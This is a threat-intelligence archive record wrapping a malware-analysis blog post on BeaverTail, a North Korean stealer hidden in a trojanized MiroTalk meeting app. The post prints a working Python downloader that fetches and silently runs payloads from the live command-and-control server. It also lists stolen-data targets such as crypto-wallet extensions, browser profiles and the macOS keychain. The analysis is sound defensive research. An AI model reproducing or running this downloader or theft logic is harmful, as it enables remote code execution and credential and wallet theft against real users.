{
	"id": "6089eb73-3c61-418b-b467-9bec44f516d6",
	"created_at": "2026-04-06T00:15:35.803256Z",
	"updated_at": "2026-04-10T03:30:33.367545Z",
	"deleted_at": null,
	"sha1_hash": "0c28e1c8a6d34db568ec9d312c8cef9c3ea69969",
	"title": "This Meeting Should Have Been an Email",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 987272,
	"plain_text": "This Meeting Should Have Been an Email\r\nArchived: 2026-04-05 14:05:52 UTC\r\nThis Meeting Should Have Been an Email\r\nA DPRK stealer, dubbed BeaverTail, targets users via a trojanized meeting app\r\nby: Patrick Wardle / July 15, 2024\r\nThe Objective-See Foundation is supported by:\r\n📝 👾 Want to play along?\r\nAs “Sharing is Caring” I’ve uploaded samples of the malware(s) discussed in this blog post:\r\n▪️ BeaverTail.zip\r\n▪️ InvisibleFerret\r\nThe password for both is: infect3d\r\n...please though, don't infect yourself! 🙈\r\nBackground\r\nNew Mac malware on Monday …yay? Earlier today, malwrhunterteam tweeted the following:\r\nAs the disk image, ( MiroTalk.dmg ), is currently undetected by any of the AV engines on VirusTotal, I decided to\r\ndig into this sample.\r\nThe malicious disk image is currently undetected by any of the AV engines on VirusTotal\r\nIn this blog post we’ll start with the disk image and then walk through a fairly comprehensive analysis of the\r\nmalicious application it contains. This will reveal its capabilities as well as provide attributions to North Korean\r\n(DPRK) hackers …and in fact tie it an (older?) JavaScript variant. We’ll also show how our free open-source\r\ntools, such as BlockBlock and LuLu can help thwart this threat, even with no a priori knowledge of it!\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 1 of 11\n\nInfection Vector?\r\nIn their posting, malwrhunterteam has kind enough to provide a hash and as this file is on VirusTotal we can grab\r\nit for our own analysis purposes.\r\nFirst, though, were did it come from? Poking around on VirusTotal we see that the disk image was spotted in the\r\nwild (“ITW”) at https://mirotalk.net/app/MiroTalk.dmg\r\nThe malicious disk image was hosted on mirotalk.net\r\nThis site is currently offline:\r\n% nslookup mirotalk.net\r\nServer: 1.1.1.1\r\nAddress: 1.1.1.1#53\r\n** server can't find mirotalk.net: NXDOMAIN\r\nHowever, looking at Google’s cache we can see its a clone of the legitimate Miro Talk site,\r\nhttps://meet.no42.org .\r\nMiro Talk is a legitimate application that provides “free browser-based real-time video calls”, that allows your to\r\n“start your next video call with a single click. No download, plug-in, or login is required”\r\nIt’s common for DPRK hackers to target their victims by posing as job hunters. A recent write up, titled, “Hacking\r\nEmployers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat\r\nActors” published by Palo Alto Network’s Unit42 research group provides one such (likely DPRK) campaign.\r\nAnd in fact it appears the malware we’re covering today is directly related to this campaign!\r\nIf I had to guess, the DPRK hackers likely approached their potential victims, requesting that they join a hiring\r\nmeeting, by download and executing the (infected version of) Miro Talk hosted on mirotalk.net . (Yes, even\r\nthe cloned site states, that you can “start your next video call with a single click. No download, … is required.”\r\nbut I guess, who reads the fine print?).\r\nStatic Analysis of MiroTalk.dmg \u0026 MiroTalk.app\r\nAfter downloading MiroTalk.dmg we can mount it and take a peek at its contents:\r\nhdiutil attach -noverify ~/Downloads/MiroTalk.dmg\r\n/dev/disk8 GUID_partition_scheme\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 2 of 11\n\n/dev/disk8s1 Apple_HFS /Volumes/MiroTalk\r\nThe malicious disk image contains a single application\r\nFirst, we note that the application is not signed:\r\nThe application is not signed\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 3 of 11\n\n…this means that macOS (Gatekeeper) will block its execution, unless the user control-clicks and selects “Open”\r\nand ignores the warning.\r\nThe application’s executable binary, is named Jami and is a 64-bit Intel Mach-O executable:\r\n% file /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami\r\n/Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami: Mach-O 64-bit executable x86_64\r\nIt also is currently undetected on VirusTotal:\r\nThe application is not signed\r\nExtracting embedded symbols (via nm ) and strings reveal its likely capabilities:\r\n% nm /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami | c++filt\r\n...\r\n0000000100007100 T MainFunc::fileUpload()\r\n00000001000080e0 T MainFunc::pDownFinished()\r\n0000000100007b70 T MainFunc::upLDBFinished()\r\n...\r\n0000000100004f10 T MainFunc::setBaseBrowserUrl()\r\n0000000100008810 T MainFunc::clientDownFinished()\r\n0000000100007900 T MainFunc::run()\r\n0000000100004f00 T MainFunc::MainFunc(QObject*)\r\n% strings /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami\r\nhttp://95.164.17.24:1224\r\nnkbihfbeogaeaoehlefnkodbefgpgknn\r\nejbalbakoplchlghecdalmeeeajnimhm\r\nfhbohimaelbohpjbbldcngcnapndodjp\r\nhnfanknocfeofbddgcijnmhnfnkdnaad\r\nibnejdfjmmkpcnlpebklmnkoeoihofec\r\nbfnaelmomeimhlpmgjnjophhpkkoljpa\r\n...\r\nC:\\Users\r\n/home\r\n/Users\r\n/AppData/Local/Google/Chrome/User Data\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 4 of 11\n\n/Library/Application Support/Google/Chrome\r\n/AppData/Local/BraveSoftware/Brave-Browser/User Data\r\n/Library/Application Support/BraveSoftware/Brave-Browser\r\n/AppData/Roaming/Opera Software/Opera Stable\r\n...\r\n/Library/Keychains/login.keychain-db\r\n/uploads\r\nUpload LDB Finshed!!!\r\n/pdown\r\n/client/99\r\nDownload Python Success!\r\n--directory\r\n/.pyp/python.exe\r\nDownload Client Success!\r\nSpecifically from the symbol’s output we see methods names ( fileUpload , pDownFinished , run ) that reveal\r\nlikely exfiltration and download \u0026 execute capabilities. (Note to demangle embedded symbols we pipe nm ’s\r\noutput through c++filt ).\r\nAnd from embedded strings we see both the address of the likely command \u0026 control server, 95.164.17.24:1224\r\nand also hints as to the type of information the malware collect for exfiltration. Specifically browser extension IDs\r\nof popular crypto-currency wallets, paths to user browsers’ data, and the macOS keychain. Other strings are\r\nrelated to the download and execution of additional payloads which appear to malicious python scripts.\r\nOther symbols and strings reveal that the application was packaged up via the Qt/QMake framework. For\r\nexample, a string in the app’s Info.plist file states: “This file was generated by Qt/QMake”.\r\nQt/QMake is used to create cross-platform applications. Based on strings in the binary (e.g. \"C:\\Users\") its easy to\r\nsee this though we're looking at version of the malware compiled for macOS, the malicious code is cross platform.\r\nIf we load the /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami into a disassembler we see the embedded\r\nstrings referenced in methods that are aptly named. For example the setBaseBrowserUrl method references\r\nstrings relates to browser paths:\r\n1int setBaseBrowserUrl(int arg0) {\r\n2 ...\r\n3 var_20 = QString::fromAscii_helper(\"/Library/Application Support/Google/Chrome\", 0x2a);\r\nDynamic Analysis of MiroTalk.app\r\nLet’s now run the application in a virtual machine.\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 5 of 11\n\nAt first, nothing appears amiss:\r\nThe application displays an (expected?) user interface\r\nBut a file monitor shows that Jami is rather busy, for example attempting to read the user’s keychain:\r\n# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter Jami\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_OPEN\",\r\n \"file\" : {\r\n \"destination\" : \"/Users/user/Library/Keychains/login.keychain-db\",\r\n \"process\" : {\r\n \"pid\" : 923,\r\n \"name\" : \"Jami\",\r\n \"path\" : \"/Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami\",\r\n \"architecture\" : \"Intel\",\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 6 of 11\n\n...\r\n }\r\n }\r\n}\r\nAlso in a debugger, it helpfully displays the files it will (if present) exfiltrate:\r\n(\"/Users/Shared/Library/Keychains/login.keychain-db\", \"/Users/Shared/Library/Application Support/Google/Chrome/\r\nIt then attempts to exfiltrate these to its command \u0026 control server ( 95.164.17.24 on port 1224 ). However, this\r\nappears to fail, as noted in the debugger output:\r\nJami[923:32727] Error: QNetworkReply::TimeoutError\r\nAlso it appears that the 2nd-stage payloads, for example the one that is retrieved via the request to client/99 are\r\nfailing, though the error message provides information as to the file that was originally served up ( main99.py )\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml lang=\"en\"\u003e\r\n\u003chead\u003e\r\n\u003cmeta charset=\"utf-8\"\u003e\r\n\u003ctitle\u003eError\u003c/title\u003e\r\n\u003c/head\u003e\r\n\u003cbody\u003e\r\n\u003cpre\u003eError: UNKNOWN: unknown error, open \u0026#39;D:\\server\\backend server\\assets\\client\\main99.py\u0026#39;\u003c/pre\u003e\r\n\u003c/body\u003e\r\n\u003c/html\u003e\r\nHowever, if we return back to the embedded strings, recall the API endpoints the malware attempts to\r\ncommunicate with (to both upload and download files) include uploads , pdown and /client/99 . If you read\r\nthe Palo Alto Networks report (and you really should!), we find the same API endpoints mentioned!\r\nAt that time, the PANW researchers noted the malware they dubbed BeaverTail (that was communicating with\r\nthese same endpoints) was “JavaScript-based”. It seems the the DPRK hackers have now created a native-version\r\nof the malware, which is what we’re looking at today.\r\nThere are many other overlaps and specific similarities between the JavaScript variant of `BeaverTail` and the\r\nnative (QT) variant we're looking at today. For example, both go after the same cryto currency wallets.\r\nRecall also that malwrhunterteam noted that the command \u0026 control server, ( 95.164.17.24 ) is a known DPRK\r\nserver. If query it via VirusTotal we find information about the files it was hosting:\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 7 of 11\n\nFiles hosted on the malware's command \u0026 control server\r\n.\r\nThough some are not longer available, others were scanned by VirusTotal including client/5346 , which turns\r\nout to be a simple cross-platform Python downloader (and executor):\r\n 1import base64,platform,os,subprocess,sys\r\n 2try:import requests\r\n 3except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests\r\n 4\r\n 5sType = \"5346\"\r\n 6gType = \"root\"\r\n 7ot = platform.system()\r\n 8home = os.path.expanduser(\"~\")\r\n 9#host1 = \"10.10.51.212\"\r\n10host1 = \"95.164.17.24\"\r\n11host2 = f'http://{host1}:1224'\r\n12pd = os.path.join(home, \".n2\")\r\n13ap = pd + \"/pay\"\r\n14def download_payload():\r\n15 if os.path.exists(ap):\r\n16 try:os.remove(ap)\r\n17 except OSError:return True\r\n18 try:\r\n19 if not os.path.exists(pd):os.makedirs(pd)\r\n20 except:pass\r\n21\r\n22 try:\r\n23 if ot==\"Darwin\":\r\n24 # aa = requests.get(host2+\"/payload1/\"+sType+\"/\"+gType, allow_redirects=True)\r\n25 aa = requests.get(host2+\"/payload/\"+sType+\"/\"+gType, allow_redirects=True)\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 8 of 11\n\n26 with open(ap, 'wb') as f:f.write(aa.content)\r\n27 else:\r\n28 aa = requests.get(host2+\"/payload/\"+sType+\"/\"+gType, allow_redirects=True)\r\n29 with open(ap, 'wb') as f:f.write(aa.content)\r\n30 return True\r\n31 except Exception as e:return False\r\n32res=download_payload()\r\n33if res:\r\n34 if ot==\"Windows\":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subpro\r\n35 else:subprocess.Popen([sys.executable, ap])\r\n36\r\n37if ot==\"Darwin\":sys.exit(-1)\r\n38\r\n39ap = pd + \"/bow\"\r\n40\r\n41def download_browse():\r\n42 if os.path.exists(ap):\r\n43 try:os.remove(ap)\r\n44 except OSError:return True\r\n45 try:\r\n46 if not os.path.exists(pd):os.makedirs(pd)\r\n47 except:pass\r\n48 try:\r\n49 aa=requests.get(host2+\"/brow/\"+ sType +\"/\"+gType, allow_redirects=True)\r\n50 with open(ap, 'wb') as f:f.write(aa.content)\r\n51 return True\r\n52 except Exception as e:return False\r\n53res=download_browse()\r\n54if res:\r\n55 if ot==\"Windows\":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subpro\r\n56 else:subprocess.Popen([sys.executable, ap])\r\nOthers, such as payload/5346 are appear to be fully-featured cross-platform Python backdoor dubbed by the\r\nPANW researchers as InvisibleFerret . This again ties the malware looking at today to their previous analysis as\r\nthey noted the (JavaScript variant of) BeaverTail “retrieves additional malware as its second-stage payload.\r\nThis payload is a cross-platform backdoor we have named InvisibleFerret.”\r\nDetection\r\nThe North Korean hackers are a wily bunch and are quite adept at hacking macOS targets, even though their\r\ntechnique often rely on social engineering (and thus from a technical point of view are rather unimpressive).\r\nLet’s end by looking at how Objective-See’s tools can help thwart this latest DPRK malware. First, if you’re\r\nrunning BlockBlock in “Notarization Mode” it will block the execution of any non notarized item from the\r\nInternet, even if the user side-stepped macOS’s alert (via the control-click/open):\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 9 of 11\n\nBlockBlock will block the malware, as its not notarized\r\nAnd of course LuLu will alert you when BeaverTail attempts to connect to its command \u0026 control server to\r\nexfiltrate the collected data and/or download additional payloads:\r\nLuLu intercepts the malware's authorized network communications\r\n…hooray for free, open-source security tools! 😇\r\nAnd if you’re looking for some IoCs here are a few:\r\nMiroTalk.dmg SHA-256: 0F5F0A3AC843DF675168F82021C24180EA22F764F87F82F9F77FE8F0BA0B7132\r\nJami: SHA-256 0F5F0A3AC843DF675168F82021C24180EA22F764F87F82F9F77FE8F0BA0B7132\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 10 of 11\n\nCommand \u0026 Control Server: 95.164.17.24\r\nConclusion\r\nToday, we analyzed what turned out to be a new (now native) variant of the DPRK malware known as\r\nBeaverTail .\r\nMasquerading as MiroTalk , this variant, (like the other non-native variants) steals information from victims\r\nmachines as well as download and executes additional Python-based payloads such as InvisibleFerret .\r\nThank you for reading, stay safe out there, and yes, go ahead an use this as yet another reason why most meetings\r\nshould instead be emails!\r\n❤️ Love these blog posts and/or want to support my research and tools?\r\nYou can support them via my Patreon page!\r\nSource: https://objective-see.org/blog/blog_0x7A.html\r\nhttps://objective-see.org/blog/blog_0x7A.html\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://objective-see.org/blog/blog_0x7A.html"
	],
	"report_names": [
		"blog_0x7A.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434535,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/0c28e1c8a6d34db568ec9d312c8cef9c3ea69969.pdf",
		"text": "https://archive.orkl.eu/0c28e1c8a6d34db568ec9d312c8cef9c3ea69969.txt",
		"img": "https://archive.orkl.eu/0c28e1c8a6d34db568ec9d312c8cef9c3ea69969.jpg"
	}
}